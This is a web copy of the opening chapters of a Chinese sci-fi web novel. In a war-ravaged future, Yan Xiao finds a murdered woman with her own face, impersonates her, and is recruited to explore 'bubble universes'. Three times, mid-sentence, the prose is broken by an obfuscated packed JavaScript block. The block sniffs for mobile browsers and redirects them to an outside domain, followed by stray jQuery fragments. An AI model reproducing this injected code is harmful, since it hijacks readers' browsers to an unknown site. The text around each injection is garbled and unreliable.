《科学家发疯实录[无限]》 1. 序曲01 炽烈日光被近乎密不透风的树叶层层滤下,细碎如同礼炮中蓬勃喷洒的银屑。 言笑正在生疏地往左轮手枪里装填子弹。舔包舔出这么个古董属实让人万万没想到,言笑不得不在枪身上双击两下,再按照浮在半空的全息说明一步一步组装。 脖子后面捂出一层热汗,不透气的迷彩服膏药一样粘在身上。各路节肢动物在耳边呕哑嘲哳,言笑靴子一歪,啪唧一声,踩中一只爆浆的巨大昆虫。绿色浆液溅了半尺高,仿佛热带雨林中喜庆而有毒的香槟。 秦笙往远躲避,嫌弃地在鼻子跟前扇风,“恶心死了。” 言笑抹了把汗,“这游戏花了我半个月工资,不沉浸合适吗?听说是用21世纪中期亚马逊丛林的数据还原的,昨天我那路人队友还被鳄鱼咬了屁股。” 秦笙善意提醒,“亚马逊丛林在第三次世界大战期间就被炸没了。你这纯属没苦硬吃。” “行了,公主。”言笑装好子弹,把靴子从粘脚的虫子汁液中拔了出来。“听说河里有粉色河豚,走啊,去给你抓一只。” 话音未落,忽地一支箭弩破空而来,穿林打叶,撩起簌簌有声的风。“小心!”秦笙警惕性不错,一把薅住言笑衣领,同时迅速摸出腰间枪械,咔咔两声。 秦笙手里那支是难得的高级枪械,带自动瞄准,灌木后的陌生玩家应声而倒。 同时倒下的还有言笑。 秦笙要是刚才不拽言笑,那箭弩能贴着太阳穴飞过去,可坏就坏在秦笙那么一拽,箭弩正中言笑眉心。 游戏是虚假的,但痛感是真实的。大脑变得拥挤,白质凝固僵硬,奇点爆炸,破碎斑驳的星系在真空中旋转展开,每一普朗克时间内都在发生恒星的诞生与死亡。 血条清空,言笑觉得自己看见了上帝和光。 秦笙没眼看她,拿手捂眼睛,没忍住,又从指缝偷瞟,“你这就挂了?” 片刻,痛感缓慢抽离,言笑晃晃悠悠撑着手臂爬起来。尸体仍在原地,言笑已经化作仅自己可见的半透明鬼魂。眼前悬浮着两个闪着金光的选项,“返回游戏大厅”以及“跟随队友视角”。 “我可以看你玩。” “算了。”秦笙瞄瞄时间,“我该上台了,你能不能替我?” 秦笙用的是言笑的副号。这游戏不便宜,运营商为了促销,只好忍痛买一送一。 “也行。” 秦笙下线,言笑顶了上去,毫不客气从自己尸体的背包中搜刮药品,末了抽走别在腰间的古董手枪。 一局游戏玩了一个多小时。秦笙那话不无道理,这游戏委实有点没苦硬吃,即使不算被食人生番追到树上蹲的二十分钟,丛林温度也颇为挑战人体极限。退出游戏,言笑撕下贴在额角的电极,周身温度瞬间掉了十来度,墙缝中的空气加工器喷出氤氲竹香的阵阵凉风。 言笑摸出终端,有两条来自秦笙的消息。 秦笙:熟客送了条生猪腿给我,你下班过来拿,让叔叔晚上包酸菜饺子。 秦笙:我记得酸菜是不是还有一颗? 第三次世界大战之后,地球满目疮痍,过眼繁华几乎完全化为废墟。生物多样性遭到严重破坏,植被极度稀缺,猪都差点灭绝。人类为了延续种族,迫不得已瓦解国家概念,以联盟取而代之,试图携手重建家园。然而至今百来年过去,环境修复得依然有限,合成食物大行其道,养殖牲畜价格高昂,下城区的普通居民没有门路很难买到。若不是沾了秦笙的光,言笑也捞不着隔三差五那顿新鲜猪肉包的饺子。 下班,言笑直奔舞厅。打了门帘入内,入眼是个繁花锦簇的大戏台子,红漆破旧,武生一个跟斗引来台下数声叫好。楼梯前方,老头老太太们踩着趿拉板儿在小方桌旁扣扣搜搜下注,有人抚掌大笑,有人把大腿拍得啪啪作响;再往上走一层,吊嗓子的女高音在天顶挡板之间反射回旋,强烈音浪蚕蛹一般将人层层包裹,全息生成的衰草落在皮肤上时像雪一样冰凉。唱的是《图兰朵》。 言笑一口气爬到六楼,正赶上裙摆迤逦的舞女向观众席挥洒彩带。头顶七彩光球飞速转动,舞女眼周大片大片的碎钻闪烁着夸张浓郁的色泽。楼梯口就在舞台的角落旁边,言笑被彩带喷了一头一脸。秦笙在台上看见了,笑着前仰后合,摇晃着嵌在戒指中长长的艳丽羽毛,打手势示意言笑去后台。 歌女是个低贱职业,许多人都不太瞧得上,而且舞厅鱼龙混杂,摩肩接踵全都是沐猴而冠道貌岸然的男人。言笑一度很为秦笙担心,直到言笑发现秦笙能打。 一拳能把二百多斤的胖子鼻梁骨打断的那种,能打。 上城区娱乐场所有诸多限制,因此舞厅中不少客人都是乔装而来的达官显贵,那胖子就是其中之一。然而秦笙的客人当中有比那胖子来头更大的,轻而易举就帮秦笙搞定这一桩事。胖子再没来过,言笑也因此得知秦笙的四肢早就替换过高强度金属骨骼。言笑很高兴,在那之后劈猪腿都让秦笙操刀。 言笑熟门熟路走进后台,跟人打了一路招呼,最后在馥郁的脂粉香气里捉了个正在换丝袜的小妹妹,问她最近是否有奇怪的男人对秦笙图谋不轨。 “哪儿能啊。”小妹妹顾盼神飞,一脚蹬上肉色丝袜,踩着拖鞋去给言笑拿猪腿。明明是嫩得能掐出水的年纪,偏就画了个砌墙似的浓妆,酒红色眼影既浓且媚,笑声清脆得像是珍珠当啷当啷落进红酒杯。“从前是有不少男人惦记她,现在没了,都怕挨揍。对了,上周笙姐过生日,有个头发全白还坐轮椅的老头送给笙姐一朵玫瑰花,”小妹妹压低声音,着意强调,“真——玫瑰花。” 真玫瑰花极其难得,不是钱的事儿。 言笑没放在心上。想来糟老头子有心无力,也做不出什么。言笑让小妹妹取来猪腿,扛□□似的出了舞厅。 隔壁寺庙传来幽幽钟声。琉璃碧瓦被余晖涂上一层浅浅的蜜色,牧师站在寺庙门口,手举扩音器,慷慨激昂口沫横飞地讲经布道。路过的老太太们紧盯墙根底下的全息大葱,跃跃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926409|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欲试——寺庙刚开业时广纳门徒,在门口用稀少的天价民用栽培土壤种过天然大葱。旁边包子摊今天打折,合成猪肉馅的就剩下了一个,黑纱黑袍的少女艳羡瞧着言笑买走最后一个包子,听见唱诗班唱起颂歌,匆忙向摊头高香敬着的五路财神作了个揖,随即熟练加入吟唱。 “Godrestyemerrygentlemen,letnothingyoudismay; “RememberChristoursaviorwasbornonChristmasday.” 秦笙说这首歌是最古老的圣诞颂歌之一,最早可以追溯到十五世纪。言笑对此并没什么兴趣。这是一个信仰混乱的时代,宗教靠帕斯卡赌注都很难忽悠到忠诚信徒。到家,掷铅球似的将肩上的□□扔进厨房,言笑吆喝道:“秦笙说晚上包猪肉酸菜饺子。” 说罢,栽进沙发躺尸。 言爸正在厨房修水管,眼见飞进厨房一条猪腿,放下扳手抄起菜刀,很快厨房传来咣咣铛铛剁骨头的声音。言妈拿脚趾尖儿掐言笑后腰,“那你别躺着呀,你去拿酸菜。” “我歇会儿。”言笑横得笔直,安详地一动不动。言家屋子不大,乱七八糟堆满各路杂物,全息新闻被挤在角落,播报得委委屈屈。 “今日新闻摘要:星火实验所近日发生爆炸,多批珍贵样本损毁,爆炸原因目前仍在调查;专家认为,海洋净化工作已经取得明显进展,100年后人类可以重新靠近海洋,200年后可以食用海产;太阳耀斑即将进入活跃时期……” 俄而,厨房探出一颗脑袋,言爸唤道:“笑笑,猪腿剁好了,你去把吃不完的这些送小笙家冷柜里。” 新鲜食物常年短缺,就连上城区也不是每家都有冷柜,但秦笙偏就有一个——正是她这高贵的饮食习惯让她在舞厅领着不菲薪水却毫无积蓄。 言笑去隔壁秦笙家冻好猪腿,打着哈欠往垃圾场走。言爸言妈都在垃圾场工作,酸菜坛子放在垃圾场角落的值班房。垃圾堆积成山,多年来这里的垃圾只见增多不见减少——下城区需要处理上城区的垃圾,且永远处理不完,时间久了大家都很摆烂。 绕过一湾发臭的脏水,言笑沿着垃圾山走了半天。日头西沉,光线黯淡,言笑正昏昏欲睡,突然又被垃圾山里的一点璀璨光芒唤醒几分。 那是一枚钻戒。戴在被垃圾弄得脏污的手上。 社会治安不好,杀人抛尸时有发生,垃圾场自然是尸体最好的去处,连工作人员都睁一只眼闭一只眼。一年到头被稀里糊涂搅碎的尸体没有一千也有八百,但把这么大颗钻石跟尸体一起扔了的不多见。 言笑顿时来了劲头,飞奔过去薅下戒指,又勤勤恳恳在垃圾山上刨起了坑,暗自祈祷尸体上还能翻出其他可供变卖的宝贝。 手臂,肩膀,再到脖颈,当灰白月光撩开覆在尸体面容上湿漉漉的长发,言笑倒吸一口凉气。 这具尸体,长着一张和她一模一样的脸。 2. 序曲02 我在哪? 我是谁? 我是我爸我妈亲生的吗? 我会不会有个双胞胎姐姐或双胞胎妹妹? 是不是游戏玩多了有幻觉? 这里是亚马逊丛林吗? 尸体眉心正中一枪,看不见碎弹片,是空|气|枪,死这么惨仇杀情杀总得占上一个。言笑满身鸡皮疙瘩,六神无主,肩上遽然多出沉甸甸的重量,脸颊被热烘烘的毛发拂得痒痒。 言笑嗷的一声蹿了起来,肩上重量也被掀飞出去。黄褐底黑斑纹的流浪猫没摔到,蹲在垃圾堆里仰头看着言笑,伸出爪子专心舔毛。 这小东西常年在垃圾场附近转悠,身躯精瘦矫健,目光炯炯有神,活脱脱一精力旺盛的小老虎——言笑在20世纪的《动物世界》中见过这种早已灭绝的漂亮猛兽。 “你吓我一跳!”言笑龇牙咧嘴地埋怨,小老虎甩甩尾巴,轻盈跃上垃圾山高处,转眼消失不见。 尸体口袋里揣着终端。言笑翻出这东西时十分惊讶,随手刷脸打开。颅内芯片发展近百年,如今早已鲜见有人使用这种老式设备。只是作为数据仓库门卫,言笑再清楚不过,颅内芯片根本就是窃取大脑中一切思想的猥琐窃贼,仓库里车载斗量全是完美展示人类劣根的暗黑意淫以及政治极其不正确随时会被拉去枪毙的反动思想。 “姓名:田斯斯,住址……” 下城区也分三六九等,住在这街区的都有点家底。言笑近乎眼泪汪汪地凝视早已僵硬的田斯斯——这么一个妙龄女子撒手去了,留下的钱谁帮她花啊。 次日傍晚出现在田斯斯家门口时,言笑嘴里还嚼着昨晚剩的酸菜饺子。眼前这小别墅占地面积不大,红砖砌成,绿瓦盖顶,全息爬山虎攀了满墙;墙面凹凸错落,折射出层次明晰的强烈光影,不似住处,更像古老的巴洛克修道院。 毕竟是来冒牌的,言笑临开门前觉得自己多少应该象征性忐忑一下,然而大门一开,心上石头瞬间落地。 稳了。 门口乱七八糟横着十来双款式夸张的高跟鞋,地板上覆着一层薄灰,仙人球是前些年颇为流行的电子品种,已经因为太久没浇水而发灰枯萎。洗手间洗手台上展览似的摆了一溜化妆品,旁边黄铜小柜子的第一层里全是口红,第二层上了锁。 一支牙刷,一条毛巾。 没有其他人生活的痕迹。 言笑操作终端,打开抽屉,瞄了一眼随即惊叫,“卧槽。” 满满一抽屉珠宝,熠熠生辉得几乎要从抽屉里挤出来。各色剔透宝石被切割成可以完美折射光线的形状,水头极好的满绿翡翠,成把成把的钻石,还有一串油亮圆润的墨绿海水珍珠。 言笑在秦笙那里见过好东西,能认出这些不是仿品。 衣帽间则像个被塞满了胃的、可怜兮兮的胖子,一旦摇摇欲坠的平衡被破坏,早已超载的食物就会从喉管喷出来。绣着仙鹤与龙纹的刺绣旗袍,带有层叠褶皱、裙摆巨大的维多利亚时期长裙,甚至还有露到大腿根的护士装和毛茸茸的猫女郎——配备着可由脑电波直接控制的灵活尾巴。 “玩得真花啊。” 言笑喃喃念叨着,将衣帽间翻了个底朝天,又扫荡了整座房子的所有角落,难以置信地得出一个抽象结论——田斯斯没有钱。 终端的银行账户早就余额告罄,家里也不见分文。言笑郁闷得直薅头发,仰天长叹——田斯斯这是把家底全穿身上了吗? 珠宝虽然价格高昂,但也早已不像百余年前那般高不可攀,战争让人们识破市场的谎言,钻石不过是碳。田斯斯这一抽屉收藏的价格大概和一头生猪差不多,可生猪好卖珠宝不好卖,在上城区倒是更能卖得上价,但有能力收如此成色珠宝的店都会记档。 姐妹毕竟是被谋杀的,冒险去上城区销赃不值当。 言笑愤怒地从食品柜里拎出一盒压缩饺子——整整一柜全是压缩饺子,没有其他任何食物——塞进烤箱。嘭的一声,光亮爆炸,薄薄一片压缩食物转瞬膨胀,烤箱里飘散出油腻腻的香味。 筷子噗地扎下去,言笑吹气尝了一口——白菜馅儿。合成食物总有一股挥之不去的怪异味道,吃在嘴里像是嚼卫生纸,即使这种食物占据了下城区食谱的绝大部分,言笑很多时候依然难以适应。 饺子油大,言笑吃得汁水顺着下巴流淌,随手抽张抽纸擦嘴,纸盒晃动着当啷落地。盒子半空,盒里传来清脆的金属碰撞声响。言笑顿时眼睛一亮,扔下筷子趴在地上捡纸盒,待翻出纸盒里的东西—— 不白来,真不白来啊! 是银行的VIP徽章。 门口有车钥匙,言笑翻衣帽间前就看到一辆红色小跑停在后院。将抽屉里的珠宝囫囵倒进背包,言笑争分夺秒把最后几个卫生纸口感的饺子塞进嘴里,抓起车钥匙出门,然后喜悦欣赏车门展开如同巨大羽翼。 田斯斯这辆小红没有飞行权限,可即使是在陆地,言笑也是第一次开车。兴奋远远大于惶恐,言笑降下车窗,大笑着一轰油门,潇洒如同古老电影里的西部牛仔。音响正在播放一首陌生的歌,俏皮旋律中的女声娇恰又柔韧。言笑问道:“这是什么歌?” 音乐没停,车内系统回答,“这首歌叫做《钻石是女孩最好的朋友》,演唱歌手:玛丽莲·梦露,出自20世纪中期由玛丽莲·梦露主演的电影……” 天已擦黑,银行眼看就要关门。言笑重重踩下油门,跑车发出巨大轰鸣,系统提示随即滴滴响了起来,“您已腾空四厘米,请降速回归地面。” “等会儿!就差一公里了!” “您已腾空五厘米,请降速回归地面。” “五百米!” “您已腾空……” 嘎吱一声刹车,言笑差点在巨大的惯性中当场起飞。银行经理合上玻璃大门,转身,目睹旋风似的身影卷到眼前,僵硬嘴角赶紧拧出一个笑容,“田小姐?” 言笑捋捋耳边头发,努力维持风度,“我是来取钱的,今天还可以取钱吗?” “我们已经下班了,而且,”银行经理面露难色,“您上次不是把余额都取走了吗?” “是……吗……?” “是的。上个月您说您要买车——就是您今天开来的这辆?” 转眼天已黑得彻底。想到黑市卖车得提前联系,言笑现下只能把车停回田斯斯家后院。而且来都来了,既然没钱可拿,不如从田斯斯的私藏里挑几件裙子给秦笙,秦笙肯定喜欢。 一回生二回熟,言笑顺畅拉开房门,正径直往衣帽间走,突然呼吸一滞,颈后刷地立起汗毛。 玻璃窗滤进灰蒙蒙的月光,沙发里坐着一个人。 一个男人。 长腿,宽肩阔背,言笑看不清他的脸,只注意到陡峭鼻梁将月色与阴影切割得分明。屋中针落可闻,一时间谁都没有说话。 俄而,言笑硬着头皮开口,“你怎么来了?” 这男人有钥匙,坐沙发里就跟回自己家一样,大概率是田斯斯早已分手的姘头。 男人转过了脸,“田斯斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926410|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 言笑,“……啊?” 男人起身,衣料摩擦得窸窣作响,晦暗光线勾勒出高大挺拔的身影,还有白瓷似的面容——就是展示在博物馆陈列柜里的那种古董白瓷,凉且润泽,光滑而森然。 男人手指一挥,言笑眼前弹出密密麻麻一大片墨绿字迹,是当局专用字体。“联盟邀请你加入特殊任务,对未知的泡泡宇宙进行探索。” “什么意思?” 对方凝视言笑,没有回答。言笑打眼瞄瞄保密协议,迅速从中抓取到有效信息,“有钱拿的?” “是。” “……那算了。”当公务员混铁饭碗确实很有诱惑力,更何况待遇如此优渥,但直觉告诉言笑,还是小命重要。田斯斯的身份顶替不了几天,长期假扮肯定得引火上身。言笑冷哼,从磨破角的背包里抓出一条沉手的珍珠项链,放在胸前比划着,狐假虎威昂起下巴,“你看我像是缺这点钱的人?我天生大小姐高贵命,受不了辛苦,你还是走吧。” “……” “你不走我走?” 协议消失在虚空里。男人目不转睛盯着言笑,月色穿透云层,光线突然亮得锋利,言笑这才发现男人竟有一双浅灰色的眼珠。 门锁咔哒,浅灰色眼珠的男人消失在门外。言笑却松不下提着的那口气,估摸男人已经从大道走远,言笑立刻奔回后院,边跑边按车钥匙。 既然这厮不是田斯斯的姘头,那岂不是刚才开口第一句就暴露了? 车门缓缓展开。远处忽然传来喀啦枪响,随即“轰”的一声,车门光亮簇新的红漆被炸出碗口大小的黑洞,带着焦糊味儿的白烟袅袅升起。 身体本能在这一瞬间胜过大脑反应,等言笑再回过神,车早被她一脚油门轰飞起来,狂奔如同深海中逃命的梭形游鱼。 “靠靠靠——” 言笑在心里把这辈子听过的骂人话都骂了个遍。身后的车紧追不舍,锃亮灯光照得整条街区如同白昼,言笑拉动拉杆,身体顿时被猛烈的加速度按在椅背上。 “您已腾空四厘米,请降速回归地面。 “您已腾空五厘米,请降速回归地面。” 拉杆继续向后。 车中响起刺耳警报。“您已超过安全行驶速度,车辆即将强制降速落地。” “……啊喂喂喂!” 小红突地一顿,重重落下,随后车身猛地向左后方倾斜,言笑的胃都快被颠出来了。 警报魔音贯耳。“左后车胎受损,请您及时修复,注意行车安全。” 后车的人打爆了车胎。言笑当机立断,抓起背包跳下小红,一头扎进黑漆漆的巷子,拔足狂奔。安静中任何声音都会被无限放大,言笑几乎要从嘴里呕出嗵嗵震荡的心脏,即使耳中嗡嗡作响,也能听出身后脚步极速逼近。 身体素质不以意志为转移,言笑脚脖子软成面条,肾上腺素至多吊一口气再跑五十米。打量一番破败陈旧蛛网遍布的巷路分叉口,言笑毅然决然钻进了盖着防风塑料布的酸菜坛子。 “……呕。” 这酸菜坛子应该足有百来年历史,毕竟早在21世纪初期,食品工业化技术就已成熟完备,人们早已对漫长的腌渍过程失去耐心。 坛外脚步靠近,在路口略微停留,片刻,向另一岔路而去。 言笑悄悄舒了口气,在心里默默数羊,正盘算着数到多少的时候溜出去合适,头顶的塑料布忽然被哗啦掀开。 星光之下,是一张戴着面具的、男人的脸。 3. 序曲03 “别杀我别杀我我不是田斯斯!”言笑立刻高举双手,做小伏低,该认怂就认怂,咬牙在心里骂这田斯斯是借了高利贷吗? 面具男平静道:“杀你也一样。” ……? 这他妈能一样吗! 坛子前的这双腿很长,坛口甚至不及胯骨,言笑盯着面具男的衣服下摆,暗自估量如果要把他扑倒再夺枪得向他身上哪个位置发力。 面具男举起了枪,这一秒很长也很短。电影里配角在杀人之前如果废话太多或者动作太慢,会有极大概率被反杀,而言笑无法客观判断这一秒的长度,因为很有可能她才是出现在面具男生命中的配角。戏份是否在此终结就在一线之间,言笑猛地一扑,酸菜坛子摇晃翻倒,墙壁剪影倾斜,月色咆哮着发出汽笛轰鸣,空|气|枪在混乱与撞击中甩出老远。 言笑在酸菜坛子里滚了半圈,抬头看见面具男脸上砸着一块板砖。 红砖碎屑撒成呛人的一地烟尘。远处,灰眼珠拾起脚下的空|气|枪,也不瞄准,抬手啪啪啪啪就是几枪。面具男反应极快,往酸菜坛子后面一滚,借着杂乱巷道中的掩体瞬间逃得没影,原地只留下了一个打转的酱油瓶子。 等言笑回过神,已经被从酸菜坛子里提了起来。 灰眼珠问,“你没事吧?” 言笑叉腰,愤愤指着面具男逃离的方向,“他就这么跑了?” 对方轻轻“嗯”了一声,“大概他认识我,知道打不过我。” 言笑被他装到了,继而意识到一个恐怖的可能性,“你们是一伙的?” “不是。” “你知道他是谁派来的?” “不知道。” “那你怎么知道他可能认识你?” 灰眼珠没回答。言笑猛地攥住对方手臂,抓救命稻草似的,“现在签协议还来得及吗?我可以跟你进那个什么泡泡,但就一点,薪酬必须打到本人账户上吗?” 面具男刚才的意思很明确,就是要弄死她。至少在灰眼珠这里她暂时还有些利用价值,总比出门就被爆头好得多。 男人的肌理与骨骼结实坚硬,甚至有点硌手。他将手臂收了回来,缓慢而仔细地在袖口擦了擦枪管,“你不是田斯斯。你是谁?” 言笑表情一僵,刚要脚底抹油,就被轻易拎起后衣领子,“说。” 人为刀俎,竹筒迫不得已倒完豆子,灰眼珠一直沉默听着,末了问道:“你叫什么名字?” “言笑。” “谁给你起的名字?” “我爸我妈呗,还能谁给起的?” 言笑将田斯斯的尸体藏在垃圾场值班房的衣柜里,灰眼珠提出要将尸体带走处理。送言笑回家的路上,一路都很诡异:窗外的剧烈风声嘶嘶啦啦,后座有个和自己分享同一张脸的死人,而司机对此没有表示出丝毫惊讶,一切像人民群众对于在垃圾场抛尸的态度一样理所当然。 言笑问他,“你认识田斯斯?” “不认识。” 一句话把天聊死。场子立刻冷了。 车停在言笑家楼下,灰眼珠说:“好好在家待着,别乱跑。” 其实言笑仔细琢磨一番后,认为面具男在见到她之前并不知道她的存在,毕竟如果真是冲她来的,没道理在田斯斯家后院打响第一枪。可现在既然已经暴露了,是福不是祸,言笑贼心不死,“真的不能让我顶替田斯斯探索那什么泡泡宇宙吗?我俩长得一样,我差哪儿了?要不你去跟你上司申请申请?” 灰眼珠开的车是老式的,喷了言笑一脸汽车尾气。 为避风头,言笑请了三天假,次日一直睡到将近中午,醒了就去秦笙家蹭吃蹭喝。 秦笙正在家里画画,立体画,在悬浮箱中利用特殊颜料绘制,技艺高超的画师甚至能画出与3D打印一样的效果。五彩斑斓的高阶魔方、虎头虎脑的矫健猫咪、长着一只眼睛的大脑、按时涨潮退潮的地球,最抽象的立体画是个画着浓妆的女人,血红的演出服上密密麻麻插满了针。 言笑挨在秦笙身边坐下,下巴搁在她肩膀上,咔嚓咔嚓往嘴里塞薯片,“画什么呢?” 轮廓勾勒的是个男人。秦笙蘸了两块颜料,耐心细致地调色,“给你画个老公。喜欢什么样的?” 嚼嚼嚼。“发际线必须好看,对,这里弄个折角。”言笑挥舞着油腻腻的手指肆意指挥,“鼻梁高一点,眼窝深一点,睫毛要长要密。” 颜料在悬浮箱中慢慢堆叠起来。秦笙又问,“眼睛要什么色?” “浅灰色吧,配黑发更扎眼。要是黑瞳黑发就没那么抓人了。”言笑随即一愣,指指脖子以下,“胸肌得有——你画两个点啊!” 画画速度开始赶不上指挥速度。 “还有腹肌。” “等等,别急。” “还有下面——” 秦笙提醒她,“脸还没画完呢,别天天想脖子以下。” 言笑没敢让秦笙继续画脸,因为描述着描述着莫名有点像昨晚见过的人。可即使改画身材,这种现象也没并什么改善——压根不是言笑照着模板描述,而是昨晚那人故意长成言笑描述的样子。 还有没有天理王法。 言笑把悬浮箱推开,让秦笙赶紧别画了,往她嘴里塞了一叠薯片,两人一起仓鼠似的横在床上咔嚓。 言笑问她,“哎,你说,这世界上会不会有两个长得一模一样的人?” 秦笙嚼得腮帮子一鼓一鼓,“双胞胎?” “不是——”言笑停顿一下,又改口道:“这倒也是一种可能。那还有没有其他可能?” 秦笙忽然不嚼了,艰难咽下满口薯片,转头看她,“你问这个干什么?” 言笑胡乱搪塞,“就昨儿看了科技新闻,感觉挺高级的。你不是经常看这种新闻吗,你给我介绍介绍。” 倒不是言笑刻意隐瞒秦笙。言笑就是怕吓着她。 秦笙道:“克隆可以做到,但克隆早就被联盟立法禁止了。只是,”秦笙略顿了顿,“上层一直有人利用克隆技术培育以及摘取器官,他们认为实验室单独培育的器官在功能上不如克隆人类的器官。” 言笑问,“多上层?” 秦笙指指天花板。 很——上层。 “说到克隆,因为记忆下载技术一直存在盲区,记忆信息无法完整下载进入克隆人脑,所以也有人在躯体损毁或衰老后保留原始大脑,将原始大脑移植到克隆版的自己身上。” 言笑知道记忆下载技术——这与记忆上传是相对的。数据仓库中存储着所有借由颅内芯片读取而来的记忆数据,这是生活中最常见且普通百姓唯一能接触到的记忆上传。 “那如果无限移植大脑,人类岂不是可以永生?也不用生育繁衍了,同样一群人能一起玩到地老天荒。” “大脑会老化,这种老化是不可逆的。并且一旦所有人都选择保留大脑、克隆躯体然后重生,底层人民从不更新换代,那么控制他们的难度就会增加,所以大脑技术只秘密服务于政客与财阀。” 末了,秦笙悠悠叹气,“政治和科学从来都只服务于一小部分人。” 这几种情况好像都不能解释田斯斯的存在,言笑转而疑惑,“你怎么知道这么多?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926411|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦笙起身,回头俯视言笑,挑起迤逦眼梢,眉宇间带着粉饰不严的艳色,“网上有小道消息。即使信息有壁垒,上层也很难迷惑觉醒的人类。” 言笑过了三天混吃等死的生活,到第四天实在混不下去,憋在家里距离长蘑菇只差准备一个喷壶,于是决定出门上班。临出门言笑站在阳台往外一瞟,忽然看见一个身影躲避她的眼神,闪身进了尘土遍布的岔路,肩宽腿长跟画出来的一样。 言笑一愣,随即跑下了楼。 岔路没人,回头,身后也没人,但言笑知道有人在看着她。言笑在嘴边搭个凉棚,喊道:“你不出来我可就去上班了!” 片刻,身后脚步落地。“不是告诉过你,好好在家待着么?” 言笑转身,惊讶挑眉,“你别告诉我你在这儿待了三天。” 这条岔路从前施过工,留下成堆无人认领的原材料,穿堂阴风一刮,黄沙飞扬尘土密布。看对方这身衣服跟刚经历过沙尘暴似的,不是蹲点一个早上能达到的效果,尽管难以置信,言笑也只能推断出这个唯一可能。 灰眼珠把自己全身上下拍了一遍,抖落一地黄沙。 这一刻言笑心情复杂。言笑大约能感觉出对方是在保护她,可近来发生的一切实在让她毫无头绪。言笑想不明白为什么会有人和她长得一样,又或者说,不敢细想,因为那些奇幻诡谲的可能性完全不适配她这样一个废柴。 言笑嗓音发干,像是岔路中的沙土都塞进了喉咙,“我不能躲一辈子。” 虽然一身黑衣仍浸着抖落不掉的黄,但也比刚才好上许多。灰眼珠凝视言笑,突然开口,“为什么不能?” “……啊?” 手指一挥,全息协议再次出现,灰眼珠大步走近,半空中的协议就也随着步调起伏来到言笑眼前。 “我改主意了。签吧。” “可是——” 见言笑磨磨蹭蹭,灰眼珠干脆抓起言笑手腕,不顾言笑挣扎,强行逼迫她在签名栏按下手印。 灰眼珠道:“躲进泡泡,不一定会比在外面危险。” 一切发生太快,言笑甚至没来得及问她应该签田斯斯的名还是自己的名。掌纹发出幽暗的墨绿光泽,随后与协议一起消失不见。字迹湮灭的最后一秒,言笑敏感注意到一个关键问题—— “协议上的名字是田斯斯,那等我干完活,钱打给谁?” “我会安排打到匿名账户,然后转给你。” 言笑跟数据仓库请了长假,又把田斯斯的珍珠项链送给秦笙,说是老板看她最近工作辛苦,给她发的福利。秦笙很高兴,当晚就戴着这条项链演出去了。言笑没敢把田斯斯的珠宝都给秦笙,毕竟凭空变出这么多首饰太惹人怀疑,拿去变卖又来不及,言笑只能暂时将盛着钻石翡翠珍珠黄金的破纸盒子藏在床下。 至于现实生活中的危机,既然解决不了,那就先不解决。言笑打定主意,进泡泡宇宙干几票就收手,等攒够钱就去上城区买大房子,和爸妈还有秦笙住在一起。上城区治安要好得多,总不至于风声鹤唳。 第二天,灰眼珠带着言笑出现在一片荒废的科研园区外。这里距离城区很远,常年泛着湿漉漉的模糊雾气。灰眼珠换了核动力车,但一路上车速并不快。地平线外一点一点冒出园区的巍峨大门,白色,由某种岩石高高堆叠而成,没有被科技完全打磨光滑,而是保留着原始的崎岖与纹理,带着隐秘复古的宗教感。 言笑委婉提醒,“都是同事了,我们是不是至少应该互通姓名?” 灰眼珠侧头看她,复又转回视线。 “李开心。” 4. 鹦鹉螺城01 行吧。长得人模人样,起名这么潦草。 按李开心的说法,魔方实验所始建于21世纪中期,最早是由一位女科学家带头,经财阀世家投资建成的。21世纪末,世界格局动荡,第三次世界大战一触即发,政府遂开始与实验所合作。三战过后,国家概念瓦解,但实验所、财阀与当局的关系千丝万缕,实验所也就再难自由决定研究课题。 到了22世纪60年代,因为一些原因,实验所的顶尖研究员先后离开这里,魔方实验所不复往日光景。联盟在正式接掌实验所后,意外发现园区范围内存在许多电磁场紊乱的点,穿过这些点,就会来到陌生宇宙。 “我做过功课了,”言笑说:“垂死恒星的大气膨胀会生成高强度能量场,高强度能量场中酝酿了宇宙的诞生。” 李开心不置可否,只道:“当局猜测,泡泡宇宙是由魔方实验所一位研究员的意识构成的。” “意识……构成宇宙?这得多大能量?” “魔方实验所的第一代所长、被研究员们称作‘祖奶奶’的女科学家说过一句话:人的大脑相当于整个宇宙。所以——大脑蕴含的能量难以估计。” “那位研究员后来怎么样了?” “死了。”李开心略一停顿,补充道:“背着联盟的罪名死的。” “什么罪名?” 核动力车无声经过高耸的岩石大门。李开心目视前方,雾气凝在前车窗上,很快化得了无痕迹。 “通敌。” 